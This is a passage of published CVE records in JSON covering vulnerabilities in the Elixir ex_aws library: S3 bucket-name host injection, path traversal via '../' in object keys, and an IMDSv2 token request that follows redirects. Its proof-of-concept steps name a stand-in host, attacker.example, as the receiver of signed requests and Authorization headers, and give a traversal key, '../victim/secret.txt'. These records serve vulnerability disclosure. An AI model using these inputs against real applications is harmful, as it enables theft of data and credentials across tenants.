"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eConfigure ex_aws for S3 with \u003ccode\u003evirtual_host: true\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eBuild an upload with an attacker-chosen bucket name: \u003ccode\u003eExAws.S3.put_object(\"attacker.example/x?\", \"report.pdf\", body)\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eadd_bucket_to_path/2\u003c/code\u003e sets the host to \u003ccode\u003eattacker.example/x?.s3.amazonaws.com\u003c/code\u003e, and \u003ccode\u003eExAws.Request.Url.build/2\u003c/code\u003e renders \u003ccode\u003ehttps://attacker.example/x?.s3.amazonaws.com/report.pdf\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eExAws.Auth\u003c/code\u003e signs the \u003ccode\u003ehost\u003c/code\u003e header as \u003ccode\u003eattacker.example\u003c/code\u003e, and hackney connects to \u003ccode\u003eattacker.example:443\u003c/code\u003e with path \u003ccode\u003e/x\u003c/code\u003e and query \u003ccode\u003e.s3.amazonaws.com/report.pdf\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eRunning the operation with \u003ccode\u003eExAws.request/2\u003c/code\u003e delivers the signed request, including the upload body and \u003ccode\u003eAuthorization\u003c/code\u003e header, to \u003ccode\u003eattacker.example\u003c/code\u003e.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. Configure ex_aws for S3 with `virtual_host: true`.\n2. Build an upload with an attacker-chosen bucket name: `ExAws.S3.put_object(\"attacker.example/x?\", \"report.pdf\", body)`.\n3. `add_bucket_to_path/2` sets the host to `attacker.example/x?.s3.amazonaws.com`, and `ExAws.Request.Url.build/2` renders `https://attacker.example/x?.s3.amazonaws.com/report.pdf`.\n4. `ExAws.Auth` signs the `host` header as `attacker.example`, and hackney connects to `attacker.example:443` with path `/x` and query `.s3.amazonaws.com/report.pdf`.\n5. Running the operation with `ExAws.request/2` delivers the signed request, including the upload body and `Authorization` header, to `attacker.example`."
}
],
"value": "* Configure ex_aws for S3 with virtual_host: true.\n* Build an upload with an attacker-chosen bucket name: ExAws.S3.put_object(\"attacker.example/x?\", \"report.pdf\", body).\n* add_bucket_to_path/2 sets the host to attacker.example/x?.s3.amazonaws.com, and ExAws.Request.Url.build/2 renders https://attacker.example/x?.s3.amazonaws.com/report.pdf.\n* ExAws.Auth signs the host header as attacker.example, and hackney connects to attacker.example:443 with path /x and query .s3.amazonaws.com/report.pdf.\n* Running the operation with ExAws.request/2 delivers the signed request, including the upload body and Authorization header, to attacker.example."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. Host construction.\u003c/strong\u003e In the \u003ccode\u003evirtual_host: true\u003c/code\u003e clause of \u003ccode\u003eExAws.Operation.S3.add_bucket_to_path/2\u003c/code\u003e, the request host becomes \u003ccode\u003e\"#{bucket}.#{host}\"\u003c/code\u003e. In the \u003ccode\u003evirtual_host: true, bucket_as_host: true\u003c/code\u003e clause it becomes the bucket name itself. Neither clause checks the bucket name.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. URL rendering and re-parsing.\u003c/strong\u003e \u003ccode\u003eExAws.Request.Url.build/2\u003c/code\u003e places the host verbatim into a \u003ccode\u003e%URI{}\u003c/code\u003e and renders it with \u003ccode\u003eURI.to_string/1\u003c/code\u003e, which does not validate the host. Downstream code re-parses the string: \u003ccode\u003eExAws.Auth.headers/6\u003c/code\u003e signs \u003ccode\u003eURI.parse(url).authority\u003c/code\u003e, \u003ccode\u003eExAws.Request.Url.sanitize/2\u003c/code\u003e splits on the first \u003ccode\u003e?\u003c/code\u003e, and hackney\u0027s \u003ccode\u003eparse_url/1\u003c/code\u003e (or \u003ccode\u003eURI.parse/1\u003c/code\u003e for the Req adapter) resolves the host. For the bucket \u003ccode\u003eattacker.example/x?\u003c/code\u003e all of them see the host \u003ccode\u003eattacker.example\u003c/code\u003e, the path \u003ccode\u003e/x\u003c/code\u003e and the query \u003ccode\u003e.s3.amazonaws.com/key\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Signed request to the attacker.\u003c/strong\u003e The HTTP adapter connects to \u003ccode\u003eattacker.example\u003c/code\u003e and sends the fully signed request: the object body on uploads, the \u003ccode\u003eAuthorization\u003c/code\u003e header with the access key id and SigV4 signature, and \u003ccode\u003ex-amz-security-token\u003c/code\u003e when temporary credentials are in use. The attacker also chooses the response the application parses. The secret access key is not sent, and the signature is bound to the attacker\u0027s host, so it cannot be replayed against AWS.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. Host construction.** In the `virtual_host: true` clause of `ExAws.Operation.S3.add_bucket_to_path/2`, the request host becomes `\"#{bucket}.#{host}\"`. In the `virtual_host: true, bucket_as_host: true` clause it becomes the bucket name itself. Neither clause checks the bucket name.\n\n**2. URL rendering and re-parsing.** `ExAws.Request.Url.build/2` places the host verbatim into a `%URI{}` and renders it with `URI.to_string/1`, which does not validate the host. Downstream code re-parses the string: `ExAws.Auth.headers/6` signs `URI.parse(url).authority`, `ExAws.Request.Url.sanitize/2` splits on the first `?`, and hackney\u0027s `parse_url/1` (or `URI.parse/1` for the Req adapter) resolves the host. For the bucket `attacker.example/x?` all of them see the host `attacker.example`, the path `/x` and the query `.s3.amazonaws.com/key`.\n\n**3. Signed request to the attacker.** The HTTP adapter connects to `attacker.example` and sends the fully signed request: the object body on uploads, the `Authorization` header with the access key id and SigV4 signature, and `x-amz-security-token` when temporary credentials are in use. The attacker also chooses the response the application parses. The secret access key is not sent, and the signature is bound to the attacker\u0027s host, so it cannot be replayed against AWS."
}
],
"value": "1. Host construction. In the virtual_host: true clause of ExAws.Operation.S3.add_bucket_to_path/2, the request host becomes \"#{bucket}.#{host}\". In the virtual_host: true, bucket_as_host: true clause it becomes the bucket name itself. Neither clause checks the bucket name.\n\n2. URL rendering and re-parsing. ExAws.Request.Url.build/2 places the host verbatim into a %URI{} and renders it with URI.to_string/1, which does not validate the host. Downstream code re-parses the string: ExAws.Auth.headers/6 signs URI.parse(url).authority, ExAws.Request.Url.sanitize/2 splits on the first ?, and hackney\u0027s parse_url/1 (or URI.parse/1 for the Req adapter) resolves the host. For the bucket attacker.example/x? all of them see the host attacker.example, the path /x and the query .s3.amazonaws.com/key.\n\n3. Signed request to the attacker. The HTTP adapter connects to attacker.example and sends the fully signed request: the object body on uploads, the Authorization header with the access key id and SigV4 signature, and x-amz-security-token when temporary credentials are in use. The attacker also chooses the response the application parses. The secret access key is not sent, and the signature is bound to the attacker\u0027s host, so it cannot be replayed against AWS."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-120720",
"datePublished": "2026-11-24T12:17:35.415Z",
"dateReserved": "2026-11-24T09:53:42.363Z",
"dateUpdated": "2026-11-24T12:17:35.415Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-59698 (GCVE-0-2026-59698)
Vulnerability from cvelistv5 – Published: 2026-11-24 11:45 – Updated: 2026-11-24 11:45
VLAI
EPSS
VEX
Title
ex_aws normalizes .. in S3 object keys client-side, allowing bucket or key-prefix escape
Summary
Relative path traversal in ex_aws allows an attacker who controls an S3 object key to escape the intended bucket or key prefix.
When ex_aws builds a path-style S3 request, ExAws.Operation.S3.add_bucket_to_path/2 in lib/ex_aws/operation/s3.ex joins the bucket name and the object key into a single path string and then normalizes it, collapsing . and .. segments the way a filesystem path would. Because the bucket is the first segment of the combined string, a leading ../ in the object key pops the bucket off the path. With bucket mybucket and a key of ../victim/secret.txt, the combined /mybucket/../victim/secret.txt normalizes to /victim/secret.txt, so the request (signed with the application's own credentials) is sent to bucket victim. The same mechanism collapses ../ within a key, defeating any isolation an application enforces by prepending a trusted prefix.
Only the default path-style configuration is affected; requests built with virtual_host: true do not run this normalization. Because S3 treats object keys as opaque and does not resolve .. itself, the client-side normalization introduces a traversal that would not otherwise exist. Any application that derives an S3 object key from untrusted input and relies on the bucket, or a key prefix, as a tenant or trust boundary is exposed to cross-bucket or cross-prefix read and write, depending on the operation and the credentials' permissions.
This issue affects ex_aws: from 2.1.7 before 2.8.0.
Severity
CWE
- CWE-23 - Relative Path Traversal
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws/security/advisor… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-59698.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-59698 | related |
| https://github.com/ex-aws/ex_aws/commit/557d3438a… | related |
| https://github.com/ex-aws/ex_aws/commit/b1116f9f9… | patch |
Impacted products
Date Public
2026-11-24 11:45
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.Operation.S3\u0027"
],
"packageName": "ex_aws",
"packageURL": "pkg:hex/ex_aws",
"product": "ex_aws",
"programFiles": [
"lib/ex_aws/operation/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.Operation.S3\u0027:add_bucket_to_path/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.8.0",
"status": "affected",
"version": "2.1.7",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.Operation.S3\u0027"
],
"packageName": "ex-aws/ex_aws",
"packageURL": "pkg:github/ex-aws/ex_aws",
"product": "ex_aws",
"programFiles": [
"lib/ex_aws/operation/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.Operation.S3\u0027:add_bucket_to_path/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "b1116f9f92a8ec1f7f2f3f692bd1c5cacaddf6fd",
"status": "affected",
"version": "557d3438a7e739a25c1ccc1876a5b636793f20ba",
"versionType": "git"
}
]
}
],
"configurations": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThe vulnerability is only exposed in the default path-style S3 configuration, where ex_aws normalizes the combined bucket and key path. Applications that configure the S3 client with \u003ccode\u003evirtual_host: true\u003c/code\u003e build the request without this client-side normalization and are not affected.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "The vulnerability is only exposed in the default path-style S3 configuration, where ex_aws normalizes the combined bucket and key path. Applications that configure the S3 client with `virtual_host: true` build the request without this client-side normalization and are not affected."
}
],
"value": "The vulnerability is only exposed in the default path-style S3 configuration, where ex_aws normalizes the combined bucket and key path. Applications that configure the S3 client with virtual_host: true build the request without this client-side normalization and are not affected."
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.8.0",
"versionStartIncluding": "2.1.7",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"datePublic": "2026-11-24T11:45:29.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eRelative path traversal in ex_aws allows an attacker who controls an S3 object key to escape the intended bucket or key prefix.\u003c/p\u003e\n\u003cp\u003eWhen ex_aws builds a path-style S3 request, \u003ccode\u003eExAws.Operation.S3.add_bucket_to_path/2\u003c/code\u003e in \u003ccode\u003elib/ex_aws/operation/s3.ex\u003c/code\u003e joins the bucket name and the object key into a single path string and then normalizes it, collapsing \u003ccode\u003e.\u003c/code\u003e and \u003ccode\u003e..\u003c/code\u003e segments the way a filesystem path would. Because the bucket is the first segment of the combined string, a leading \u003ccode\u003e../\u003c/code\u003e in the object key pops the bucket off the path. With bucket \u003ccode\u003emybucket\u003c/code\u003e and a key of \u003ccode\u003e../victim/secret.txt\u003c/code\u003e, the combined \u003ccode\u003e/mybucket/../victim/secret.txt\u003c/code\u003e normalizes to \u003ccode\u003e/victim/secret.txt\u003c/code\u003e, so the request (signed with the application\u0027s own credentials) is sent to bucket \u003ccode\u003evictim\u003c/code\u003e. The same mechanism collapses \u003ccode\u003e../\u003c/code\u003e within a key, defeating any isolation an application enforces by prepending a trusted prefix.\u003c/p\u003e\n\u003cp\u003eOnly the default path-style configuration is affected; requests built with \u003ccode\u003evirtual_host: true\u003c/code\u003e do not run this normalization. Because S3 treats object keys as opaque and does not resolve \u003ccode\u003e..\u003c/code\u003e itself, the client-side normalization introduces a traversal that would not otherwise exist. Any application that derives an S3 object key from untrusted input and relies on the bucket, or a key prefix, as a tenant or trust boundary is exposed to cross-bucket or cross-prefix read and write, depending on the operation and the credentials\u0027 permissions.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws: from 2.1.7 before 2.8.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Relative path traversal in ex_aws allows an attacker who controls an S3 object key to escape the intended bucket or key prefix.\n\nWhen ex_aws builds a path-style S3 request, `ExAws.Operation.S3.add_bucket_to_path/2` in `lib/ex_aws/operation/s3.ex` joins the bucket name and the object key into a single path string and then normalizes it, collapsing `.` and `..` segments the way a filesystem path would. Because the bucket is the first segment of the combined string, a leading `../` in the object key pops the bucket off the path. With bucket `mybucket` and a key of `../victim/secret.txt`, the combined `/mybucket/../victim/secret.txt` normalizes to `/victim/secret.txt`, so the request (signed with the application\u0027s own credentials) is sent to bucket `victim`. The same mechanism collapses `../` within a key, defeating any isolation an application enforces by prepending a trusted prefix.\n\nOnly the default path-style configuration is affected; requests built with `virtual_host: true` do not run this normalization. Because S3 treats object keys as opaque and does not resolve `..` itself, the client-side normalization introduces a traversal that would not otherwise exist. Any application that derives an S3 object key from untrusted input and relies on the bucket, or a key prefix, as a tenant or trust boundary is exposed to cross-bucket or cross-prefix read and write, depending on the operation and the credentials\u0027 permissions.\n\nThis issue affects ex_aws: from 2.1.7 before 2.8.0."
}
],
"value": "Relative path traversal in ex_aws allows an attacker who controls an S3 object key to escape the intended bucket or key prefix.\n\nWhen ex_aws builds a path-style S3 request, ExAws.Operation.S3.add_bucket_to_path/2 in lib/ex_aws/operation/s3.ex joins the bucket name and the object key into a single path string and then normalizes it, collapsing . and .. segments the way a filesystem path would. Because the bucket is the first segment of the combined string, a leading ../ in the object key pops the bucket off the path. With bucket mybucket and a key of ../victim/secret.txt, the combined /mybucket/../victim/secret.txt normalizes to /victim/secret.txt, so the request (signed with the application\u0027s own credentials) is sent to bucket victim. The same mechanism collapses ../ within a key, defeating any isolation an application enforces by prepending a trusted prefix.\n\nOnly the default path-style configuration is affected; requests built with virtual_host: true do not run this normalization. Because S3 treats object keys as opaque and does not resolve .. itself, the client-side normalization introduces a traversal that would not otherwise exist. Any application that derives an S3 object key from untrusted input and relies on the bucket, or a key prefix, as a tenant or trust boundary is exposed to cross-bucket or cross-prefix read and write, depending on the operation and the credentials\u0027 permissions.\n\nThis issue affects ex_aws: from 2.1.7 before 2.8.0."
}
],
"impacts": [
{
"capecId": "CAPEC-139",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-139 Relative Path Traversal"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 7.4,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-23",
"description": "CWE-23 Relative Path Traversal",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T11:45:30.199Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws/security/advisories/GHSA-hrw3-2h5r-fhxx"
},
{
"name": "EEF CNA record for CVE-2026-59698",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-59698.html"
},
{
"name": "OSV record EEF-CVE-2026-59698",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-59698"
},
{
"name": "Introducing commit 557d343 in ex-aws/ex_aws",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws/commit/557d3438a7e739a25c1ccc1876a5b636793f20ba"
},
{
"name": "Fix commit b1116f9 in ex-aws/ex_aws",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws/commit/b1116f9f92a8ec1f7f2f3f692bd1c5cacaddf6fd"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "ex_aws normalizes .. in S3 object keys client-side, allowing bucket or key-prefix escape",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eConfigure the ex_aws S3 client with \u003ccode\u003evirtual_host: true\u003c/code\u003e, which builds the request without the client-side path normalization. Alternatively, reject or sanitize object keys that contain \u003ccode\u003e..\u003c/code\u003e segments before passing them to ex_aws.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Configure the ex_aws S3 client with `virtual_host: true`, which builds the request without the client-side path normalization. Alternatively, reject or sanitize object keys that contain `..` segments before passing them to ex_aws."
}
],
"value": "Configure the ex_aws S3 client with virtual_host: true, which builds the request without the client-side path normalization. Alternatively, reject or sanitize object keys that contain .. segments before passing them to ex_aws."
}
],
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eAn application isolates data in its own bucket \u003ccode\u003emybucket\u003c/code\u003e and builds the object key from user input, using the default path-style S3 configuration.\u003c/li\u003e\n\u003cli\u003eIt issues the request through the public API: \u003ccode\u003eExAws.S3.get_object(\"mybucket\", key) |\u0026gt; ExAws.request(config)\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker supplies the key \u003ccode\u003e../victim/secret.txt\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eex_aws joins and normalizes the path, so \u003ccode\u003e/mybucket/../victim/secret.txt\u003c/code\u003e becomes \u003ccode\u003e/victim/secret.txt\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe request is signed with the application\u0027s credentials and sent to \u003ccode\u003e/victim/secret.txt\u003c/code\u003e, addressing bucket \u003ccode\u003evictim\u003c/code\u003e instead of \u003ccode\u003emybucket\u003c/code\u003e.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. An application isolates data in its own bucket `mybucket` and builds the object key from user input, using the default path-style S3 configuration.\n2. It issues the request through the public API: `ExAws.S3.get_object(\"mybucket\", key) |\u003e ExAws.request(config)`.\n3. The attacker supplies the key `../victim/secret.txt`.\n4. ex_aws joins and normalizes the path, so `/mybucket/../victim/secret.txt` becomes `/victim/secret.txt`.\n5. The request is signed with the application\u0027s credentials and sent to `/victim/secret.txt`, addressing bucket `victim` instead of `mybucket`."
}
],
"value": "* An application isolates data in its own bucket mybucket and builds the object key from user input, using the default path-style S3 configuration.\n* It issues the request through the public API: ExAws.S3.get_object(\"mybucket\", key) |\u003e ExAws.request(config).\n* The attacker supplies the key ../victim/secret.txt.\n* ex_aws joins and normalizes the path, so /mybucket/../victim/secret.txt becomes /victim/secret.txt.\n* The request is signed with the application\u0027s credentials and sent to /victim/secret.txt, addressing bucket victim instead of mybucket."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. Path assembly.\u003c/strong\u003e In the default path-style clause of \u003ccode\u003eExAws.Operation.S3.add_bucket_to_path/2\u003c/code\u003e (taken whenever \u003ccode\u003evirtual_host: true\u003c/code\u003e is not set), the bucket and the operation path are concatenated and then normalized: \u003ccode\u003e\"/#{operation.bucket}#{ensure_absolute(operation.path)}\" |\u0026gt; expand_dot()\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Normalization across the bucket boundary.\u003c/strong\u003e \u003ccode\u003eexpand_dot/1\u003c/code\u003e and \u003ccode\u003edo_expand_dot/2\u003c/code\u003e resolve \u003ccode\u003e.\u003c/code\u003e and \u003ccode\u003e..\u003c/code\u003e segments the way a filesystem path would. The bucket is just the first segment of the combined string, so a \u003ccode\u003e..\u003c/code\u003e in the object key pops it: \u003ccode\u003e/mybucket/../victim/secret.txt\u003c/code\u003e becomes \u003ccode\u003e/victim/secret.txt\u003c/code\u003e. The only guard, the root clamp \u003ccode\u003edo_expand_dot([\"..\" | t], [])\u003c/code\u003e, stops \u003ccode\u003e..\u003c/code\u003e from climbing above \u003ccode\u003e/\u003c/code\u003e but does not protect the bucket segment. The same collapse lets \u003ccode\u003e../\u003c/code\u003e escape a trusted key prefix within a bucket.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Signed request.\u003c/strong\u003e The normalized path is signed with the application\u0027s credentials and sent, so the request is authorized against the bucket or prefix the attacker chose. S3 treats object keys as opaque and does not resolve \u003ccode\u003e..\u003c/code\u003e itself; the traversal exists only because the client normalizes the path. The \u003ccode\u003evirtual_host\u003c/code\u003e clauses do not normalize, so behavior differs between configurations.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. Path assembly.** In the default path-style clause of `ExAws.Operation.S3.add_bucket_to_path/2` (taken whenever `virtual_host: true` is not set), the bucket and the operation path are concatenated and then normalized: `\"/#{operation.bucket}#{ensure_absolute(operation.path)}\" |\u003e expand_dot()`.\n\n**2. Normalization across the bucket boundary.** `expand_dot/1` and `do_expand_dot/2` resolve `.` and `..` segments the way a filesystem path would. The bucket is just the first segment of the combined string, so a `..` in the object key pops it: `/mybucket/../victim/secret.txt` becomes `/victim/secret.txt`. The only guard, the root clamp `do_expand_dot([\"..\" | t], [])`, stops `..` from climbing above `/` but does not protect the bucket segment. The same collapse lets `../` escape a trusted key prefix within a bucket.\n\n**3. Signed request.** The normalized path is signed with the application\u0027s credentials and sent, so the request is authorized against the bucket or prefix the attacker chose. S3 treats object keys as opaque and does not resolve `..` itself; the traversal exists only because the client normalizes the path. The `virtual_host` clauses do not normalize, so behavior differs between configurations."
}
],
"value": "1. Path assembly. In the default path-style clause of ExAws.Operation.S3.add_bucket_to_path/2 (taken whenever virtual_host: true is not set), the bucket and the operation path are concatenated and then normalized: \"/#{operation.bucket}#{ensure_absolute(operation.path)}\" |\u003e expand_dot().\n\n2. Normalization across the bucket boundary. expand_dot/1 and do_expand_dot/2 resolve . and .. segments the way a filesystem path would. The bucket is just the first segment of the combined string, so a .. in the object key pops it: /mybucket/../victim/secret.txt becomes /victim/secret.txt. The only guard, the root clamp do_expand_dot([\"..\" | t], []), stops .. from climbing above / but does not protect the bucket segment. The same collapse lets ../ escape a trusted key prefix within a bucket.\n\n3. Signed request. The normalized path is signed with the application\u0027s credentials and sent, so the request is authorized against the bucket or prefix the attacker chose. S3 treats object keys as opaque and does not resolve .. itself; the traversal exists only because the client normalizes the path. The virtual_host clauses do not normalize, so behavior differs between configurations."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-59698",
"datePublished": "2026-11-24T11:45:30.199Z",
"dateReserved": "2026-07-06T14:05:47.003Z",
"dateUpdated": "2026-11-24T11:45:30.199Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-59697 (GCVE-0-2026-59697)
Vulnerability from cvelistv5 – Published: 2026-11-24 11:43 – Updated: 2026-11-24 11:43
VLAI
EPSS
VEX
Title
IMDSv2 metadata token request follows HTTP redirects in ex_aws
Summary
Server-Side Request Forgery (SSRF) vulnerability in ex_aws (instance metadata token provider).
This vulnerability is associated with program files lib/ex_aws/instance_meta_token_provider.ex and program routines ExAws.InstanceMetaTokenProvider.request_token/1 and ExAws.InstanceMetaTokenProvider.get/1.
ex_aws requests its IMDSv2 session token from the link-local metadata endpoint (http://169.254.169.254/latest/api/token) with HTTP redirect following enabled. Because the token request follows 3xx redirects and does not restrict the redirect target to the link-local range, an attacker who can influence the response to the metadata request (for example an on-segment neighbor spoofing the link-local address) can answer with a redirect to an arbitrary host. The library follows the redirect and accepts the arbitrary host's response body as the IMDSv2 session token, caching it and sending it as the x-aws-ec2-metadata-token header on every subsequent metadata and credential request.
This issue affects ex_aws: from 2.3.0 before 2.8.0.
Severity
CWE
- CWE-918 - Server-Side Request Forgery
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws/security/advisor… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-59697.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-59697 | related |
| https://github.com/ex-aws/ex_aws/commit/4d7923c16… | related |
| https://github.com/ex-aws/ex_aws/commit/9fcc3605c… | patch |
Impacted products
Date Public
2026-11-24 11:43
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.InstanceMetaTokenProvider\u0027"
],
"packageName": "ex_aws",
"packageURL": "pkg:hex/ex_aws",
"product": "ex_aws",
"programFiles": [
"lib/ex_aws/instance_meta_token_provider.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.InstanceMetaTokenProvider\u0027:request_token/1"
},
{
"name": "\u0027Elixir.ExAws.InstanceMetaTokenProvider\u0027:get/1"
}
],
"repo": "https://github.com/ex-aws/ex_aws",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.8.0",
"status": "affected",
"version": "2.3.0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.InstanceMetaTokenProvider\u0027"
],
"packageName": "ex-aws/ex_aws",
"packageURL": "pkg:github/ex-aws/ex_aws",
"product": "ex_aws",
"programFiles": [
"lib/ex_aws/instance_meta_token_provider.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.InstanceMetaTokenProvider\u0027:request_token/1"
},
{
"name": "\u0027Elixir.ExAws.InstanceMetaTokenProvider\u0027:get/1"
}
],
"repo": "https://github.com/ex-aws/ex_aws",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "9fcc3605c7a0ecf8e205a72c50de3ced72befed0",
"status": "affected",
"version": "4d7923c16f613cc2bade2ed325d444bba0bc7234",
"versionType": "git"
}
]
}
],
"configurations": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThe application must obtain its AWS credentials from the EC2 Instance Metadata Service (IMDSv2) through the ex_aws instance metadata token provider. Applications that source credentials by other means (for example environment variables or explicit configuration) do not reach the vulnerable code path.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "The application must obtain its AWS credentials from the EC2 Instance Metadata Service (IMDSv2) through the ex_aws instance metadata token provider. Applications that source credentials by other means (for example environment variables or explicit configuration) do not reach the vulnerable code path."
}
],
"value": "The application must obtain its AWS credentials from the EC2 Instance Metadata Service (IMDSv2) through the ex_aws instance metadata token provider. Applications that source credentials by other means (for example environment variables or explicit configuration) do not reach the vulnerable code path."
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.8.0",
"versionStartIncluding": "2.3.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
